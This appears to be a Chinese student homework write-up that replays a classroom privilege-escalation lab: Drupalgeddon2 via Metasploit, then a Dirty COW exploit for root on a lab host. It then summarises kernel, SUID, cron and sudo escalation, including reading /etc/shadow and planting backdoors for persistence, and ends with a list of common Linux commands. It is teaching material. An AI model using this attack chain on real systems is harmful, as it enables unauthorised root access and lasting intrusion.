1.复现上课的提权案例
通过查看kali自身的IP地址,如下图,确定当前靶机也在192.168.200下,使用nmap进行C段扫描
nmap扫描192.168.200.0/24
首先我们使用nmap的sP参数通过ping探测已存活的主机
nmap -sP 192.168.200.0/24
扫描192.168.200.152的端口
nmap -p1-65535 192.168.200.152
访问192.168.200.152:1898
启动msf,通过msf搜索所有关于Drupal的漏洞
使用exploit/unix/webapp/drupal_drupalgeddon2
show options查看所需参数
设置目标地址和目标端口
set rhost 192.168.200.152
set rport 1898
exploit进行攻击,并返回meterpreter会话
查看当前用户为www-data
上传漏洞收集脚本到目标主机赋予执行权限并执行下载地址:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing toolhttp://GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool upload /home/kali/桌面/linux-exploit-suggester.sh /tmp/1.sh
upload /home/kali/桌面/linux-exploit-suggester.sh /tmp/1.sh
进入目标主机的/tmp目录,查看上传的1.sh是否存在
赋予1.sh执行权限
chmod +x 1.sh
运行1.sh,发现该靶机存在脏牛漏洞
上传漏洞收集脚本到目标主机赋予执行权限并执行
退出shell交互模式,返回meterpreter会话,将脚本上传至目标地址
upload /home/kali/桌面/dcow.cpp /tmp/dcow.cpp
进入shell交互,编译exp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
开启py终端,运行./dcow,获取密码
python -c 'import pty; pty.spawn("/bin/bash")'
登录root用户,查看当前权限
用户名:root
密码:dirtyCowFun
2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)
一、内网信息收集
- 确定攻击目标:
- 使用命令如
ip a
查看本地IP地址。 - 使用扫描工具如nmap扫描同一内网下存活的主机,如
nmap 192.168.159.0/24
。
- 使用命令如
- 收集目标系统信息:
- 对可疑IP进行全端口扫描,如
nmap -T4 -p 1-65535 192.168.62.136
。 - 识别开放的端口和服务,通过浏览器或插件(如Wappalyzer)分析目标网站架构和使用的技术栈。
- 对可疑IP进行全端口扫描,如
- 详细系统信息收集:
- 使用命令如
uname -a
、lsb_release -a
、cat /proc/version
查看系统内核版本和发行版信息。 - 列出已安装的软件、服务、SUID文件等,查找潜在的漏洞点。
- 使用命令如
二、漏洞搜索与利用
- 搜索已知漏洞:
- 根据收集到的系统信息,在漏洞数据库(如Exploit-DB、CVE Details等)中搜索相关漏洞。
- 可以使用Metasploit框架中的
msfconsole
和search
命令搜索特定CMS或服务的漏洞。
- 下载与编译EXP:
- 找到可用的EXP(漏洞利用代码),从GitHub、Exploit-DB等网站下载。
- 在目标系统上编译EXP(如果需要),确保环境兼容。
- 执行EXP:
- 配置EXP所需的选项,如目标IP、端口等。
- 运行EXP,尝试获取更高的权限。
三、提权尝试
- 内核漏洞提权:
- 如果发现内核漏洞,利用EXP尝试直接提权至root。
- 常见的内核漏洞如脏牛(Dirty Cow)漏洞,通过特定的操作序列破坏写时复制机制,实现提权。
- SUID提权:
- 查找具有SUID权限的文件,这些文件在执行时会以文件所有者的权限运行。
- 如果文件所有者是root,且文件存在漏洞,则可能通过执行该文件实现提权。
- 定时任务(Cron Job)提权:
- 检查
/etc/crontab
和/etc/cron.d/
目录下的定时任务文件。 - 如果能修改这些文件中的脚本或二进制文件,可以添加反弹shell等指令,以root权限执行。
- 检查
- SUDO提权:
- 使用
sudo -l
查看当前用户可以使用sudo执行的命令列表。 - 如果发现无需密码即可执行的命令,尝试执行这些命令以获取更高权限。
- 使用
四、提权成功验证
- 验证提权成功:
- 使用命令如
id
、whoami
验证当前用户是否为root。 - 如果成功提权,可以执行更多root权限下的操作,如查看
/etc/shadow
文件获取密码哈希等。
- 使用命令如
- 维持权限:
- 根据需要,可以在系统中添加后门,如SSH密钥、定时任务反弹shell等,以便后续持续访问。
3.总结Linux常用命令,10个以上
-
ls - 列出目录内容。可以配合选项如
-l
(长格式显示信息)、-a
(显示所有文件,包括隐藏文件)等使用。 -
cd - 更改当前目录。例如,
cd /home/username
会将当前目录更改为/home/username
。 -
pwd - 显示当前工作目录的完整路径。
-
mkdir - 创建新目录。可以一次性创建多个目录,例如
mkdir dir1 dir2
。 -
rm - 删除文件或目录。使用
-r
选项可以递归地删除目录及其内容,例如rm -r dir1
。 -
cp - 复制文件或目录。例如,
cp file1.txt file2.txt
会复制file1.txt
为file2.txt
。使用-r
选项可以复制目录。 -
mv - 移动或重命名文件/目录。例如,
mv file1.txt dir1/
会将file1.txt
移动到dir1
目录下,mv file1.txt file2.txt
会将file1.txt
重命名为file2.txt
。 -
cat - 连接文件并打印到标准输出设备上。常用于查看文件内容或合并文件。
-
grep - 搜索文本,并将匹配的行打印出来。常用于文件内容搜索。例如,
grep "text" file.txt
会在file.txt
中搜索包含"text"的行。 -
find - 在目录树中搜索文件,并执行指定的操作。非常强大且灵活,可以配合多种选项和动作使用。例如,
find / -name "file.txt"
会在根目录及其子目录下搜索名为file.txt
的文件。 -
chmod - 更改文件或目录的权限。例如,
chmod 755 script.sh
会将script.sh
的权限更改为所有者可以读写执行,组用户和其他用户可以读和执行。 -
chown - 更改文件或目录的所有者和/或组。例如,
chown user:group file.txt
会将file.txt
的所有者更改为user
,组更改为group
。 -
touch - 创建空文件或更改文件的访问和修改时间。如果文件不存在,
touch
命令会创建一个空文件。 -
df
- 显示磁盘空间使用情况。 -
du
- 显示目录或文件的磁盘使用情况。例如,du -sh *
会显示当前目录下每个文件和子目录的磁盘使用情况(以易读的格式)。